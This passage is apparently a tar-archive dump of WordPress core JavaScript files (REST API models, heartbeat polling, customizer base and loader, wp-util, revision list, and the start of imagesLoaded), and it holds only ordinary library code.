wp.api.models.Schema(null,{apiRoot:t.get("apiRoot"),versionString:t.get("versionString"),nonce:t.get("nonce")}),t.schemaModel.once("change",function(){t.constructFromSchema(),e.resolve(t)}),t.get("schema")?t.schemaModel.set(t.schemaModel.parse(t.get("schema"))):!_.isUndefined(sessionStorage)&&(_.isUndefined(c.cacheSchema)||c.cacheSchema)&&sessionStorage.getItem("wp-api-schema-model"+t.get("apiRoot")+t.get("versionString"))?t.schemaModel.set(t.schemaModel.parse(JSON.parse(sessionStorage.getItem("wp-api-schema-model"+t.get("apiRoot")+t.get("versionString"))))):t.schemaModel.fetch({success:function(e){if(!_.isUndefined(sessionStorage)&&(_.isUndefined(c.cacheSchema)||c.cacheSchema))try{sessionStorage.setItem("wp-api-schema-model"+t.get("apiRoot")+t.get("versionString"),JSON.stringify(e))}catch(e){}},error:function(e){window.console.log(e)}})},constructFromSchema:function(){var s=this,a=c.mapping||{models:{Categories:"Category",Comments:"Comment",Pages:"Page",PagesMeta:"PageMeta",PagesRevisions:"PageRevision",Posts:"Post",PostsCategories:"PostCategory",PostsRevisions:"PostRevision",PostsTags:"PostTag",Schema:"Schema",Statuses:"Status",Tags:"Tag",Taxonomies:"Taxonomy",Types:"Type",Users:"User"},collections:{PagesMeta:"PageMeta",PagesRevisions:"PageRevisions",PostsCategories:"PostCategories",PostsMeta:"PostMeta",PostsRevisions:"PostRevisions",PostsTags:"PostTags"}},e=s.get("modelEndpoints"),i=new RegExp("(?:.*[+)]|/("+e.join("|")+"))$"),n=[],o=[],r=s.get("apiRoot").replace(wp.api.utils.getRootUrl(),""),p={models:{},collections:{}};_.each(s.schemaModel.get("routes"),function(e,t){t!==s.get(" versionString")&&t!==r&&t!=="/"+s.get("versionString").slice(0,-1)&&(i.test(t)?n:o).push({index:t,route:e})}),_.each(n,function(e){var t,i=wp.api.utils.extractRoutePart(e.index,2,s.get("versionString"),!0),n=wp.api.utils.extractRoutePart(e.index,1,s.get("versionString"),!1),o=wp.api.utils.extractRoutePart(e.index,1,s.get("versionString"),!0);n===s.get("versionString")&&(n=""),"me"===o&&(i="me"),""!==n&&n!==i?(t=wp.api.utils.capitalizeAndCamelCaseDashes(n)+wp.api.utils.capitalizeAndCamelCaseDashes(i),t=a.models[t]||t,p.models[t]=wp.api.WPApiBaseModel.extend({url:function(){var e=s.get("apiRoot")+s.get("versionString")+n+"/"+(_.isUndefined(this.get("parent"))||0===this.get("parent")?_.isUndefined(this.get("parent_post"))?"":this.get("parent_post")+"/":this.get("parent")+"/")+i;return _.isUndefined(this.get("id"))||(e+="/"+this.get("id")),e},nonce:function(){return s.get("nonce")},endpointModel:s,route:e,name:t,methods:e.route.methods,endpoints:e.route.endpoints})):(t=wp.api.utils.capitalizeAndCamelCaseDashes(i),t=a.models[t]||t,p.models[t]=wp.api.WPApiBaseModel.extend({url:function(){var e=s.get("apiRoot")+s.get("versionString")+("me"===i?"users/me":i);return _.isUndefined(this.get("id"))||(e+="/"+this.get("id")),e},nonce:function(){return s.get("nonce")},endpointModel:s,route:e,name:t,methods:e.route.methods,endpoints:e.route.endpoints})),wp.api.utils.decorateFromRoute(e.route.endpoints,p.models[t],s.get("versionString"))}),_.each(o,function(e){var t,i,n=e.index.slice(e.index.lastIndexOf("/")+1),o=wp.api.utils.extractRoutePart(e.index,1,s.get("versionString"),!1);""!==o&&o!==n&&s.get("versionString")!==o?(t=wp.api.utils.capitalizeAndCamelCaseDashes(o)+wp.api.utils.capitalizeAndCamelCaseDashes(n),i=a.models[t]||t,t=a.collections[t]||t,p.collections[t]=wp.api.WPApiBaseCollection.extend({url:function(){return s.get("apiRoot")+s.get("versionString")+o+"/"+(_.isUndefined(this.parent)||""===this.parent?_.isUndefined(this.get("parent_post"))?"":this.get("parent_post")+"/":this.parent+"/")+n},model:function(e,t){return new p.models[i](e,t)},nonce:function(){return s.get("nonce")},endpointModel:s,name:t,route:e,methods:e.route.methods})):(t=wp.api.utils.capitalizeAndCamelCaseDashes(n),i=a.models[t]||t,t=a.collections[t]||t,p.collections[t]=wp.api.WPApiBaseCollection.extend({url:function(){return s.get("apiRoot")+s.get("versionString")+n},model:function(e,t){return new p.models[i](e,t)},nonce:function(){return s.get("nonce")},endpointModel:s,name:t,route:e,methods:e.route.methods})),wp.api.utils.decorateFromRoute(e.route.endpoints,p.collections[t])}),_.each(p.models,function(e,t){p.models[t]=wp.api.utils.addMixinsAndHelpers(e,t,p)}),s.set("models",p.models),s.set("collections",p.collections)}}),wp.api.endpoints=new Backbone.Collection,wp.api.init=function(e){var t,i,n={};return e=e||{},n.nonce=_.isString(e.nonce)?e.nonce:c.nonce||"",n.apiRoot=e.apiRoot||c.root||"/wp-json",n.versionString=e.versionString||c.versionString||"wp/v2/",n.schema=e.schema||null,n.modelEndpoints=e.modelEndpoints||["me","settings"],n.schema||n.apiRoot!==c.root||n.versionString!==c.versionString||(n.schema=c.schema),s[n.apiRoot+n.versionString]||(e=(e=wp.api.endpoints.findWhere({apiRoot:n.apiRoot,versionString:n.versionString}))||new o(n),i=(t=jQuery.Deferred()).promise(),e.schemaConstructed.done(function(e){wp.api.endpoints.add(e),wp.api.models=_.extend(wp.api.models,e.get("models")),wp.api.collections=_.extend(wp.api.collections,e.get("collections")),t.resolve(e)}),s[n.apiRoot+n.versionString]=i),s[n.apiRoot+n.versionString]},wp.api.loadPromise=wp.api.init()}(); heartbeat.min.js 0000644 00000013473 15111757752 0007646 0 ustar 00 /*! This file is auto-generated */ !function(w,g){g.wp=g.wp||{},g.wp.heartbeat=new function(){var e,t,n,a,i=w(document),r={suspend:!1,suspendEnabled:!0,screenId:"",url:"",lastTick:0,queue:{},mainInterval:60,tempInterval:0,originalInterval:0,minimalInterval:0,countdown:0,connecting:!1,connectionError:!1,errorcount:0,hasConnected:!1,hasFocus:!0,userActivity:0,userActivityEvents:!1,checkFocusTimer:0,beatTimer:0};function o(){return(new Date).getTime()}function c(e){var t,n=e.src;if(!n||!/^https?:\/\//.test(n)||(t=g.location.origin||g.location.protocol+"//"+g.location.host,0===n.indexOf(t)))try{if(e.contentWindow.document)return 1}catch(e){}}function s(){r.hasFocus&&!document.hasFocus()?v():!r.hasFocus&&document.hasFocus()&&d()}function u(e,t){var n;if(e){switch(e){case"abort":break;case"timeout":n=!0;break;case"error":if(503===t&&r.hasConnected){n=!0;break}case"parsererror":case"empty":case"unknown":r.errorcount++,2<r.errorcount&&r.hasConnected&&(n=!0)}n&&!b()&&(r.connectionError=!0,i.trigger("heartbeat-connection-lost",[e,t]),wp.hooks.doAction("heartbeat.connection-lost",e,t))}}function l(){var e;r.connecting||r.suspend||(r.lastTick=o(),e=w.extend({},r.queue),r.queue={},i.trigger("heartbeat-send",[e]),wp.hooks.doAction("heartbeat.send",e),e={data:e,interval:r.tempInterval?r.tempInterval/1e3:r.mainInterval/1e3,_nonce:"object"==typeof g.heartbeatSettings?g.heartbeatSettings.nonce:"",action:"heartbeat",screen_id:r.screenId,has_focus:r.hasFocus},"customize"===r.screenId&&(e.wp_customize="on"),r.connecting=!0,r.xhr=w.ajax({url:r.url,type:"post",timeout:3e4,data:e,dataType:"json"}).always(function(){r.connecting=!1,m()}).done(function(e,t,n){var a;e?(r.hasConnected=!0,b()&&(r.errorcount=0,r.connectionError=!1,i.trigger("heartbeat-connection-restored"),wp.hooks.doAction("heartbeat.connection-restored")),e.nonces_expired&&(i.trigger("heartbeat-nonces-expired"),wp.hooks.doAction("heartbeat.nonces-expired")),e.heartbeat_interval&&(a=e.heartbeat_interval,delete e.heartbeat_interval),e.heartbeat_nonce&&"object"==typeof g.heartbeatSettings&&(g.heartbeatSettings.nonce=e.heartbeat_nonce,delete e.heartbeat_nonce),e.rest_nonce&&"object"==typeof g.wpApiSettings&&(g.wpApiSettings.nonce=e.rest_nonce),i.trigger("heartbeat-tick",[e,t,n]),wp.hooks.doAction("heartbeat.tick",e,t,n),a&&f(a)):u("empty")}).fail(function(e,t,n){u(t||"unknown",e.status),i.trigger("heartbeat-error",[e,t,n]),wp.hooks.doAction("heartbeat.error",e,t,n)}))}function m(){var e=o()-r.lastTick,t=r.mainInterval;r.suspend||(r.hasFocus?0<r.countdown&&r.tempInterval&&(t=r.tempInterval,r.countdown--,r.countdown<1)&&(r.tempInterval=0):t=12e4,r.minimalInterval&&t<r.minimalInterval&&(t=r.minimalInterval),g.clearTimeout(r.beatTimer),e<t?r.beatTimer=g.setTimeout(function(){l()},t-e):l())}function v(){r.hasFocus=!1}function d(){r.userActivity=o(),r.suspend=!1,r.hasFocus||(r.hasFocus=!0,m())}function h(){r.suspend=!0}function p(){r.userActivityEvents=!1,i.off(".wp-heartbeat-active"),w("iframe").each(function(e,t){c(t)&&w(t.contentWindow).off(".wp-heartbeat-active")}),d()}function I(){var e=r.userActivity?o()-r.userActivity:0;3e5<e&&r.hasFocus&&v(),(r.suspendEnabled&&6e5<e||36e5<e)&&h(),r.userActivityEvents||(i.on("mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active",function(){p()}),w("iframe").each(function(e,t){c(t)&&w(t.contentWindow).on("mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active",function(){p()})}),r.userActivityEvents=!0)}function b(){return r.connectionError}function f(e,t){var n,a=r.tempInterval||r.mainInterval;if(e){if("fast"===e)n=5e3;else{if("long-polling"===e)return r.mainInterval=0;n=1<=(e=parseInt(e,10))&&e<=3600?1e3*e:r.originalInterval}5e3===(n=r.minimalInterval&&n<r.minimalInterval?r.minimalInterval:n)?(t=parseInt(t,10)||30,r.countdown=t=t<1||30<t?30:t,r.tempInterval=n):(r.countdown=0,r.tempInterval=0,r.mainInterval=n),n!==a&&m()}return r.tempInterval?r.tempInterval/1e3:r.mainInterval/1e3}return"string"==typeof g.pagenow&&(r.screenId=g.pagenow),"string"==typeof g.ajaxurl&&(r.url=g.ajaxurl),"object"==typeof g.heartbeatSettings&&(e=g.heartbeatSettings,!r.url&&e.ajaxurl&&(r.url=e.ajaxurl),e.interval&&(r.mainInterval=e.interval,r.mainInterval<1?r.mainInterval=1:3600<r.mainInterval&&(r.mainInterval=3600)),e.minimalInterval&&(e.minimalInterval=parseInt(e.minimalInterval,10),r.minimalInterval=0<e.minimalInterval&&e.minimalInterval<=600?e.minimalInterval:0),r.minimalInterval&&r.mainInterval<r.minimalInterval&&(r.mainInterval=r.minimalInterval),r.screenId||(r.screenId=e.screenId||"front"),"disable"===e.suspension)&&(r.suspendEnabled=!1),r.mainInterval=1e3*r.mainInterval,r.originalInterval=r.mainInterval,r.minimalInterval&&(r.minimalInterval=1e3*r.minimalInterval),void 0!==document.hidden?(t="hidden",a="visibilitychange",n="visibilityState"):void 0!==document.msHidden?(t="msHidden",a="msvisibilitychange",n="msVisibilityState"):void 0!==document.webkitHidden&&(t="webkitHidden",a="webkitvisibilitychange",n="webkitVisibilityState"),t&&(document[t]&&(r.hasFocus=!1),i.on(a+".wp-heartbeat",function(){"hidden"===document[n]?(v(),g.clearInterval(r.checkFocusTimer)):(d(),document.hasFocus&&(r.checkFocusTimer=g.setInterval(s,1e4)))})),document.hasFocus&&(r.checkFocusTimer=g.setInterval(s,1e4)),w(g).on("pagehide.wp-heartbeat",function(){h(),r.xhr&&4!==r.xhr.readyState&&r.xhr.abort()}),w(g).on("pageshow.wp-heartbeat",function(e){e.originalEvent.persisted&&d()}),g.setInterval(I,3e4),w(function(){r.lastTick=o(),m()}),{hasFocus:function(){return r.hasFocus},connectNow:function(){r.lastTick=0,m()},disableSuspend:function(){r.suspendEnabled=!1},interval:f,hasConnectionError:b,enqueue:function(e,t,n){return!!e&&!(n&&this.isQueued(e)||(r.queue[e]=t,0))},dequeue:function(e){e&&delete r.queue[e]},isQueued:function(e){if(e)return r.queue.hasOwnProperty(e)},getQueuedItem:function(e){return e&&this.isQueued(e)?r.queue[e]:void 0}}}}(jQuery,window); customize-base.min.js 0000644 00000017254 15111757752 0010642 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(t,a){var o={},s=Array.prototype.slice,r=function(){},n=function(t,e,n){var i=e&&e.hasOwnProperty("constructor")?e.constructor:function(){return t.apply(this,arguments)};return a.extend(i,t),r.prototype=t.prototype,i.prototype=new r,e&&a.extend(i.prototype,e),n&&a.extend(i,n),(i.prototype.constructor=i).__super__=t.prototype,i};o.Class=function(t,e,n){var i,s=arguments;return t&&e&&o.Class.applicator===t&&(s=e,a.extend(this,n||{})),(i=this).instance&&(i=function(){return i.instance.apply(i,arguments)},a.extend(i,this)),i.initialize.apply(i,s),i},o.Class.extend=function(t,e){t=n(this,t,e);return t.extend=this.extend,t},o.Class.applicator={},o.Class.prototype.initialize=function(){},o.Class.prototype.extended=function(t){for(var e=this;void 0!==e.constructor;){if(e.constructor===t)return!0;if(void 0===e.constructor.__super__)return!1;e=e.constructor.__super__}return!1},o.Events={trigger:function(t){return this.topics&&this.topics[t]&&this.topics[t].fireWith(this,s.call(arguments,1)),this},bind:function(t){return this.topics=this.topics||{},this.topics[t]=this.topics[t]||a.Callbacks(),this.topics[t].add.apply(this.topics[t],s.call(arguments,1)),this},unbind:function(t){return this.topics&&this.topics[t]&&this.topics[t].remove.apply(this.topics[t],s.call(arguments,1)),this}},o.Value=o.Class.extend({initialize:function(t,e){this._value=t,this.callbacks=a.Callbacks(),this._dirty=!1,a.extend(this,e||{}),this.set=this.set.bind(this)},instance:function(){return arguments.length?this.set.apply(this,arguments):this.get()},get:function(){return this._value},set:function(t){var e=this._value;return t=this._setter.apply(this,arguments),null===(t=this.validate(t))||_.isEqual(e,t)||(this._value=t,this._dirty=!0,this.callbacks.fireWith(this,[t,e])),this},_setter:function(t){return t},setter:function(t){var e=this.get();return this._setter=t,this._value=null,this.set(e),this},resetSetter:function(){return this._setter=this.constructor.prototype._setter,this.set(this.get()),this},validate:function(t){return t},bind:function(){return this.callbacks.add.apply(this.callbacks,arguments),this},unbind:function(){return this.callbacks.remove.apply(this.callbacks,arguments),this},link:function(){var t=this.set;return a.each(arguments,function(){this.bind(t)}),this},unlink:function(){var t=this.set;return a.each(arguments,function(){this.unbind(t)}),this},sync:function(){var t=this;return a.each(arguments,function(){t.link(this),this.link(t)}),this},unsync:function(){var t=this;return a.each(arguments,function(){t.unlink(this),this.unlink(t)}),this}}),o.Values=o.Class.extend({defaultConstructor:o.Value,initialize:function(t){a.extend(this,t||{}),this._value={},this._deferreds={}},instance:function(t){return 1===arguments.length?this.value(t):this.when.apply(this,arguments)},value:function(t){return this._value[t]},has:function(t){return void 0!==this._value[t]},add:function(t,e){var n,i,s=this;if("string"==typeof t)n=t,i=e;else{if("string"!=typeof t.id)throw new Error("Unknown key");n=t.id,i=t}return s.has(n)?s.value(n):((s._value[n]=i).parent=s,i.extended(o.Value)&&i.bind(s._change),s.trigger("add",i),s._deferreds[n]&&s._deferreds[n].resolve(),s._value[n])},create:function(t){return this.add(t,new this.defaultConstructor(o.Class.applicator,s.call(arguments,1)))},each:function(n,i){i=void 0===i?this:i,a.each(this._value,function(t,e){n.call(i,e,t)})},remove:function(t){var e=this.value(t);e&&(this.trigger("remove",e),e.extended(o.Value)&&e.unbind(this._change),delete e.parent),delete this._value[t],delete this._deferreds[t],e&&this.trigger("removed",e)},when:function(){var e=this,n=s.call(arguments),i=a.Deferred();return"function"==typeof n[n.length-1]&&i.done(n.pop()),a.when.apply(a,a.map(n,function(t){if(!e.has(t))return e._deferreds[t]=e._deferreds[t]||a.Deferred()})).done(function(){var t=a.map(n,function(t){return e(t)});t.length!==n.length?e.when.apply(e,n).done(function(){i.resolveWith(e,t)}):i.resolveWith(e,t)}),i.promise()},_change:function(){this.parent.trigger("change",this)}}),a.extend(o.Values.prototype,o.Events),o.ensure=function(t){return"string"==typeof t?a(t):t},o.Element=o.Value.extend({initialize:function(t,e){var n,i,s=this,r=o.Element.synchronizer.html;this.element=o.ensure(t),this.events="",this.element.is("input, select, textarea")&&(t=this.element.prop("type"),this.events+=" change input",r=o.Element.synchronizer.val,this.element.is("input"))&&o.Element.synchronizer[t]&&(r=o.Element.synchronizer[t]),o.Value.prototype.initialize.call(this,null,a.extend(e||{},r)),this._value=this.get(),n=this.update,i=this.refresh,this.update=function(t){t!==i.call(s)&&n.apply(this,arguments)},this.refresh=function(){s.set(i.call(s))},this.bind(this.update),this.element.on(this.events,this.refresh)},find:function(t){return a(t,this.element)},refresh:function(){},update:function(){}}),o.Element.synchronizer={},a.each(["html","val"],function(t,e){o.Element.synchronizer[e]={update:function(t){this.element[e](t)},refresh:function(){return this.element[e]()}}}),o.Element.synchronizer.checkbox={update:function(t){this.element.prop("checked",t)},refresh:function(){return this.element.prop("checked")}},o.Element.synchronizer.radio={update:function(t){this.element.filter(function(){return this.value===t}).prop("checked",!0)},refresh:function(){return this.element.filter(":checked").val()}},a.support.postMessage=!!window.postMessage,o.Messenger=o.Class.extend({add:function(t,e,n){return this[t]=new o.Value(e,n)},initialize:function(t,e){var n=window.parent===window?null:window.parent;a.extend(this,e||{}),this.add("channel",t.channel),this.add("url",t.url||""),this.add("origin",this.url()).link(this.url).setter(function(t){var e=document.createElement("a");return e.href=t,e.protocol+"//"+e.host.replace(/:(80|443)$/,"")}),this.add("targetWindow",null),this.targetWindow.set=function(t){var e=this._value;return t=this._setter.apply(this,arguments),null!==(t=this.validate(t))&&e!==t&&(this._value=t,this._dirty=!0,this.callbacks.fireWith(this,[t,e])),this},this.targetWindow(t.targetWindow||n),this.receive=this.receive.bind(this),this.receive.guid=a.guid++,a(window).on("message",this.receive)},destroy:function(){a(window).off("message",this.receive)},receive:function(t){t=t.originalEvent,this.targetWindow&&this.targetWindow()&&(this.origin()&&t.origin!==this.origin()||"string"==typeof t.data&&"{"===t.data[0]&&(t=JSON.parse(t.data))&&t.id&&void 0!==t.data&&((t.channel||this.channel())&&this.channel()!==t.channel||this.trigger(t.id,t.data)))},send:function(t,e){e=void 0===e?null:e,this.url()&&this.targetWindow()&&(t={id:t,data:e},this.channel()&&(t.channel=this.channel()),this.targetWindow().postMessage(JSON.stringify(t),this.origin()))}}),a.extend(o.Messenger.prototype,o.Events),o.Notification=o.Class.extend({template:null,templateId:"customize-notification",containerClasses:"",initialize:function(t,e){this.code=t,delete(t=_.extend({message:null,type:"error",fromServer:!1,data:null,setting:null,template:null,dismissible:!1,containerClasses:""},e)).code,_.extend(this,t)},render:function(){var e,t,n=this;return n.template||(n.template=wp.template(n.templateId)),t=_.extend({},n,{alt:n.parent&&n.parent.alt}),e=a(n.template(t)),n.dismissible&&e.find(".notice-dismiss").on("click keydown",function(t){"keydown"===t.type&&13!==t.which||(n.parent?n.parent.remove(n.code):e.remove())}),e}}),(o=a.extend(new o.Values,o)).get=function(){var n={};return this.each(function(t,e){n[e]=t.get()}),n},o.utils={},o.utils.parseQueryString=function(t){var n={};return _.each(t.split("&"),function(t){var e,t=t.split("=",2);t[0]&&(e=(e=decodeURIComponent(t[0].replace(/\+/g," "))).replace(/ /g,"_"),t=_.isUndefined(t[1])?null:decodeURIComponent(t[1].replace(/\+/g," ")),n[e]=t)}),n},t.customize=o}(wp,jQuery); customize-loader.js 0000644 00000017337 15111757752 0010416 0 ustar 00 /** * @output wp-includes/js/customize-loader.js */ /* global _wpCustomizeLoaderSettings */ /** * Expose a public API that allows the customizer to be * loaded on any page. * * @namespace wp */ window.wp = window.wp || {}; (function( exports, $ ){ var api = wp.customize, Loader; $.extend( $.support, { history: !! ( window.history && history.pushState ), hashchange: ('onhashchange' in window) && (document.documentMode === undefined || document.documentMode > 7) }); /** * Allows the Customizer to be overlaid on any page. * * By default, any element in the body with the load-customize class will open * an iframe overlay with the URL specified. * * e.g. <a class="load-customize" href="<?php echo wp_customize_url(); ?>">Open Customizer</a> * * @memberOf wp.customize * * @class * @augments wp.customize.Events */ Loader = $.extend( {}, api.Events,/** @lends wp.customize.Loader.prototype */{ /** * Setup the Loader; triggered on document#ready. */ initialize: function() { this.body = $( document.body ); // Ensure the loader is supported. // Check for settings, postMessage support, and whether we require CORS support. if ( ! Loader.settings || ! $.support.postMessage || ( ! $.support.cors && Loader.settings.isCrossDomain ) ) { return; } this.window = $( window ); this.element = $( '<div id="customize-container" />' ).appendTo( this.body ); // Bind events for opening and closing the overlay. this.bind( 'open', this.overlay.show ); this.bind( 'close', this.overlay.hide ); // Any element in the body with the `load-customize` class opens // the Customizer. $('#wpbody').on( 'click', '.load-customize', function( event ) { event.preventDefault(); // Store a reference to the link that opened the Customizer. Loader.link = $(this); // Load the theme. Loader.open( Loader.link.attr('href') ); }); // Add navigation listeners. if ( $.support.history ) { this.window.on( 'popstate', Loader.popstate ); } if ( $.support.hashchange ) { this.window.on( 'hashchange', Loader.hashchange ); this.window.triggerHandler( 'hashchange' ); } }, popstate: function( e ) { var state = e.originalEvent.state; if ( state && state.customize ) { Loader.open( state.customize ); } else if ( Loader.active ) { Loader.close(); } }, hashchange: function() { var hash = window.location.toString().split('#')[1]; if ( hash && 0 === hash.indexOf( 'wp_customize=on' ) ) { Loader.open( Loader.settings.url + '?' + hash ); } if ( ! hash && ! $.support.history ) { Loader.close(); } }, beforeunload: function () { if ( ! Loader.saved() ) { return Loader.settings.l10n.saveAlert; } }, /** * Open the Customizer overlay for a specific URL. * * @param string src URL to load in the Customizer. */ open: function( src ) { if ( this.active ) { return; } // Load the full page on mobile devices. if ( Loader.settings.browser.mobile ) { return window.location = src; } // Store the document title prior to opening the Live Preview. this.originalDocumentTitle = document.title; this.active = true; this.body.addClass('customize-loading'); /* * Track the dirtiness state (whether the drafted changes have been published) * of the Customizer in the iframe. This is used to decide whether to display * an AYS alert if the user tries to close the window before saving changes. */ this.saved = new api.Value( true ); this.iframe = $( '<iframe />', { 'src': src, 'title': Loader.settings.l10n.mainIframeTitle } ).appendTo( this.element ); this.iframe.one( 'load', this.loaded ); // Create a postMessage connection with the iframe. this.messenger = new api.Messenger({ url: src, channel: 'loader', targetWindow: this.iframe[0].contentWindow }); // Expose the changeset UUID on the parent window's URL so that the customized state can survive a refresh. if ( history.replaceState ) { this.messenger.bind( 'changeset-uuid', function( changesetUuid ) { var urlParser = document.createElement( 'a' ); urlParser.href = location.href; urlParser.search = $.param( _.extend( api.utils.parseQueryString( urlParser.search.substr( 1 ) ), { changeset_uuid: changesetUuid } ) ); history.replaceState( { customize: urlParser.href }, '', urlParser.href ); } ); } // Wait for the connection from the iframe before sending any postMessage events. this.messenger.bind( 'ready', function() { Loader.messenger.send( 'back' ); }); this.messenger.bind( 'close', function() { if ( $.support.history ) { history.back(); } else if ( $.support.hashchange ) { window.location.hash = ''; } else { Loader.close(); } }); // Prompt AYS dialog when navigating away. $( window ).on( 'beforeunload', this.beforeunload ); this.messenger.bind( 'saved', function () { Loader.saved( true ); } ); this.messenger.bind( 'change', function () { Loader.saved( false ); } ); this.messenger.bind( 'title', function( newTitle ){ window.document.title = newTitle; }); this.pushState( src ); this.trigger( 'open' ); }, pushState: function ( src ) { var hash = src.split( '?' )[1]; // Ensure we don't call pushState if the user hit the forward button. if ( $.support.history && window.location.href !== src ) { history.pushState( { customize: src }, '', src ); } else if ( ! $.support.history && $.support.hashchange && hash ) { window.location.hash = 'wp_customize=on&' + hash; } this.trigger( 'open' ); }, /** * Callback after the Customizer has been opened. */ opened: function() { Loader.body.addClass( 'customize-active full-overlay-active' ).attr( 'aria-busy', 'true' ); }, /** * Close the Customizer overlay. */ close: function() { var self = this, onConfirmClose; if ( ! self.active ) { return; } onConfirmClose = function( confirmed ) { if ( confirmed ) { self.active = false; self.trigger( 'close' ); // Restore document title prior to opening the Live Preview. if ( self.originalDocumentTitle ) { document.title = self.originalDocumentTitle; } } else { // Go forward since Customizer is exited by history.back(). history.forward(); } self.messenger.unbind( 'confirmed-close', onConfirmClose ); }; self.messenger.bind( 'confirmed-close', onConfirmClose ); Loader.messenger.send( 'confirm-close' ); }, /** * Callback after the Customizer has been closed. */ closed: function() { Loader.iframe.remove(); Loader.messenger.destroy(); Loader.iframe = null; Loader.messenger = null; Loader.saved = null; Loader.body.removeClass( 'customize-active full-overlay-active' ).removeClass( 'customize-loading' ); $( window ).off( 'beforeunload', Loader.beforeunload ); /* * Return focus to the link that opened the Customizer overlay after * the body element visibility is restored. */ if ( Loader.link ) { Loader.link.focus(); } }, /** * Callback for the `load` event on the Customizer iframe. */ loaded: function() { Loader.body.removeClass( 'customize-loading' ).attr( 'aria-busy', 'false' ); }, /** * Overlay hide/show utility methods. */ overlay: { show: function() { this.element.fadeIn( 200, Loader.opened ); }, hide: function() { this.element.fadeOut( 200, Loader.closed ); } } }); // Bootstrap the Loader on document#ready. $( function() { Loader.settings = _wpCustomizeLoaderSettings; Loader.initialize(); }); // Expose the API publicly on window.wp.customize.Loader. api.Loader = Loader; })( wp, jQuery ); wp-util.min.js 0000644 00000002622 15111757752 0007302 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(s){var t="undefined"==typeof _wpUtilSettings?{}:_wpUtilSettings;wp.template=_.memoize(function(e){var n,a={evaluate:/<#([\s\S]+?)#>/g,interpolate:/\{\{\{([\s\S]+?)\}\}\}/g,escape:/\{\{([^\}]+?)\}\}(?!\})/g,variable:"data"};return function(t){if(document.getElementById("tmpl-"+e))return(n=n||_.template(s("#tmpl-"+e).html(),a))(t);throw new Error("Template not found: #tmpl-"+e)}}),wp.ajax={settings:t.ajax||{},post:function(t,e){return wp.ajax.send({data:_.isObject(t)?t:_.extend(e||{},{action:t})})},send:function(a,t){var e,n;return _.isObject(a)?t=a:(t=t||{}).data=_.extend(t.data||{},{action:a}),t=_.defaults(t||{},{type:"POST",url:wp.ajax.settings.url,context:this}),(e=(n=s.Deferred(function(n){t.success&&n.done(t.success),t.error&&n.fail(t.error),delete t.success,delete t.error,n.jqXHR=s.ajax(t).done(function(t){var e;"1"!==t&&1!==t||(t={success:!0}),_.isObject(t)&&!_.isUndefined(t.success)?(e=this,n.done(function(){a&&a.data&&"query-attachments"===a.data.action&&n.jqXHR.hasOwnProperty("getResponseHeader")&&n.jqXHR.getResponseHeader("X-WP-Total")?e.totalAttachments=parseInt(n.jqXHR.getResponseHeader("X-WP-Total"),10):e.totalAttachments=0}),n[t.success?"resolveWith":"rejectWith"](this,[t.data])):n.rejectWith(this,[t])}).fail(function(){n.rejectWith(this,arguments)})})).promise()).abort=function(){return n.jqXHR.abort(),this},e}}}(jQuery); wp-list-revisions.min.js 0000644 00000001125 15111757752 0011314 0 ustar 00 /*! This file is auto-generated */ !function(e){function t(){var e=document.getElementById("post-revisions"),n=e?e.getElementsByTagName("input"):[];e.onclick=function(){for(var e,t=0,i=0;i<n.length;i++)t+=n[i].checked?1:0,e=n[i].getAttribute("name"),n[i].checked||!("left"==e&&t<1||"right"==e&&1<t&&(!n[i-1]||!n[i-1].checked))||n[i+1]&&n[i+1].checked&&"right"==n[i+1].getAttribute("name")?"left"!=e&&"right"!=e||(n[i].style.visibility="visible"):n[i].style.visibility="hidden"},e.onclick()}e&&e.addEventListener?e.addEventListener("load",t,!1):e&&e.attachEvent&&e.attachEvent("onload",t)}(window); imagesloaded.min.js 0000644 00000012620 15111757752 0010316 0 ustar 00 /*! This file is auto-generated */ /*! * imagesLoaded PACKAGED v5.0.0 * JavaScript is all like "You images are done yet or what?" * MIT License */ !function(t,e){"object"==typeof module&&module.exports?module.exports=e():t.EvEmitter=e()}("undefined"!=typeof window?window:this,(function(){function t(){}let e=t.prototype;return e.on=function(t,e){if(!t||!e)return this;let i=this._events=this._events||{},s=i[t]=i[t]||[];return s.includes(e)||s.push(e),this},e.once=function(t,e){if(!t||!e)return this;this.on(t,e);let i=this._onceEvents=this._onceEvents||{};return(i[t]=i[t]||{})[e]=!0,this},e.off=function(t,e){let i=this._events&&this._events[t];if(!i||!i.length)return this;let s=i.indexOf(e);return-1!=s&&i.splice(s,1),this},e.emitEvent=function(t,e){let i=this._events&&this._events[t];if(!i||!i.length)return this;i=i.slice(0),e=e||[];let s=this._onceEvents&&this._onceEvents[t];for(let n of i){s&&s[n]&&(this.off(t,n),delete s[n]),n.apply(this,e)}return this},e.allOff=function(){return delete this._events,delete this._onceEvents,this},t})), /*! * imagesLoaded v5.0.0 * JavaScript is all like "You images are done yet or what?" * MIT License */ function(t,e){"object"==typeof module&&module.exports?module.exports=e(t,require("ev-emitter")):t.imagesLoaded=e(t,t.EvEmitter)}("undefined"!=typeof window?window:this,(function(t,e){let i=t.jQuery,s=t.console;function n(t,e,o){if(!(this instanceof n))return new n(t,e,o);let r=t;var h;("string"==typeof t&&(r=document.querySelectorAll(t)),r)?(this.elements=(h=r,Array.isArray(h)?h:"object"==typeof h&&"number"==typeof h.length?[...h]:[h]),this.options={},"function"==typeof e?o=e:Object.assign(this.options,e),o&&this.on("always",o),this.getImages(),i&&(this.jqDeferred=new i.Deferred),setTimeout(this.check.bind(this))):s.error(`Bad element for imagesLoaded ${r||t}`)}n.prototype=Object.create(e.prototype),n.prototype.getImages=function(){this.images=[],this.elements.forEach(this.addElementImages,this)};const o=[1,9,11];n.prototype.addElementImages=function(t){"IMG"===t.nodeName&&this.addImage(t),!0===this.options.background&&this.addElementBackgroundImages(t);let{nodeType:e}=t;if(!e||!o.includes(e))return;let i=t.querySelectorAll("img");for(let t of i)this.addImage(t);if("string"==typeof this.options.background){let e=t.querySelectorAll(this.options.background);for(let t of e)this.addElementBackgroundImages(t)}};const r=/url\((['"])?(.*?)\1\)/gi;function h(t){this.img=t}function d(t,e){this.url=t,this.element=e,this.img=new Image}return n.prototype.addElementBackgroundImages=function(t){let e=getComputedStyle(t);if(!e)return;let i=r.exec(e.backgroundImage);for(;null!==i;){let 